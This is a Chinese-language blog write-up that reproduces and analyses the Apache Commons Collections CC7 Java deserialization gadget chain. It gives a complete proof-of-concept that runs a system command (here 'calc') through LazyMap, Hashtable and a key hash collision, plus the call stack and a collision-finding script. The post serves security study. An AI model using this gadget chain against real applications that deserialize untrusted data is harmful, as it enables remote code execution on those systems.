前言代码复现
工具类PoC 代码审计 | 原理分析
1. LazyMap.get()调用this.factory.transform()2. AbstractMap.equals()调用m.get()3. AbstractMapDecorator.equals()调用this.map.equals4. HashTable反序列化触发e.key.equals(key)为什么最后要lazyMap2.remove("yy")?为什么多了一个键yy?为什么yy和zZ的hash相同? POP链完
前言CC7是另一种方法调用LazyMap.get()
代码复现 工具类反射get/set:
ReflectPacked/ValueGetterSetter.java
package ReflectPacked;
import java.lang.reflect.Field;
public class ValueGetterSetter {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getValue(Object obj, String name) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}
}
反序列化:
UnserializePacked.Unserialize.java
package UnserializePacked;
import java.io.*;
public class Unserialize {
public static void unserialize(Object obj) throws Exception{
File f = File.createTempFile("temp", "out");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(obj);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
Object o = ois.readObject();
System.out.println(o);
ois.close();
f.deleteOnExit();
}
}
PoC
package cc.cc7;
import ReflectPacked.ValueGetterSetter;
import UnserializePacked.Unserialize;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class PoC {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{
String.class,
Class[].class
},
new Object[]{
"getRuntime",
new Class[0]
}
),
new InvokerTransformer(
"invoke",
new Class[]{
Object.class,
Object[].class
},
new Object[]{
null,
new Object[0]
}
),
new InvokerTransformer(
"exec",
new Class[]{
String.class
},
new Object[]{
"calc"
}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Map lazyMap1 = LazyMap.decorate(new HashMap(), chainedTransformer);
Map lazyMap2 = LazyMap.decorate(new HashMap(), chainedTransformer);
lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
ValueGetterSetter.setValue(chainedTransformer, "iTransformers", transformers);
lazyMap2.remove("yy");
Unserialize.unserialize(hashtable);
}
}
代码审计 | 原理分析
1. LazyMap.get()调用this.factory.transform()
2. AbstractMap.equals()调用m.get()
HashMap的父类是AbstractMap,拥有equals方法;这里要传入一个Map,并且HashMap和传入的m大小相同
然后HashMap不能为空、并且不能有相同的键,就能够调用m.get()
因为LazyMap也是Map所以可以调用一个HashMap.equals()传入它,而且还要保证非空、键名不同,手动验证一下:
注意到可以用HashMap触发LazyMap.get(),而LazyMap本身就包含一个HashMap
LazyMap的父类是AbstractMapDecorator,equals方法调用了HashMap的equals方法
那么我们建两个LazyMap,调LazyMap1.equals()然后传入LazyMap2即可,这里的LazyMap需要特别构造满足大小相等、没有相同的键、HashMap不同。手动触发试一下:
HashTable反序列化调用了reconstitutionPut
reconstitutionPut里面调用了e.key.equals(key),调用后一个key的equals传入前一个key
而这里有个条件:两个不同key的hash相同
因此就要碰撞,因此就有了这里的yy和zZ
先后传入反序列化即可
为什么lazyMap2多了一个键yy?
把remove关闭查看结果发现了lazyMap2多了一个键,并且反序列化无法触发了
原因就在于:LazyMap.get()把yy写入lazpMap2了
反序列化时:在AbstractMap有比较lazyMap1和2大小是否相等的部分,如果不把yy删除了就会导致比较失败返回false
删除yy就能通过比较了
这里hash调用了LazyMap的hashCode
然后调用了HashMap的hashCode,由于value都是1,只要考虑前半部分
然后是调类的hashCode,也就是String类的hashCode
这是String.hashCode(),基于ascii来算hash
传入的yy和zZ都是两位数,所以计算两次
yy:第一次y的ascii121,第二次31*121+121=3872zZ:第一次z的ascii122,第二次31*122+90=3872
因此只要满足以上公式的字符串都能够绕过,用python跑一下:
import string
letter = string.ascii_uppercase+string.ascii_lowercase
def hashcode(string_expected):
return 31 * ord(string_expected[0]) + ord(string_expected[1])
for i in letter:
for j in letter:
for k in letter:
for l in letter:
str1 = i+j
str2 = k+l
if str1 != str2:
if hashcode(str1) == hashcode(str2):
print(hashcode(str1), str1, str2, sep=" ")
POP链
transform:122, ChainedTransformer (org.apache.commons.collections.functors) get:151, LazyMap (org.apache.commons.collections.map) equals:495, AbstractMap (java.util) equals:129, AbstractMapDecorator (org.apache.commons.collections.map) reconstitutionPut:1232, Hashtable (java.util) readObject:1206, Hashtable (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1909, ObjectInputStream (java.io) readOrdinaryObject:1808, ObjectInputStream (java.io) readObject0:1353, ObjectInputStream (java.io) readObject:373, ObjectInputStream (java.io) unserialize:14, Unserialize (UnserializePacked) main:67, PoC (cc.cc7)完
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123458271
版权声明:本文为原创,转载时须注明出处及本声明



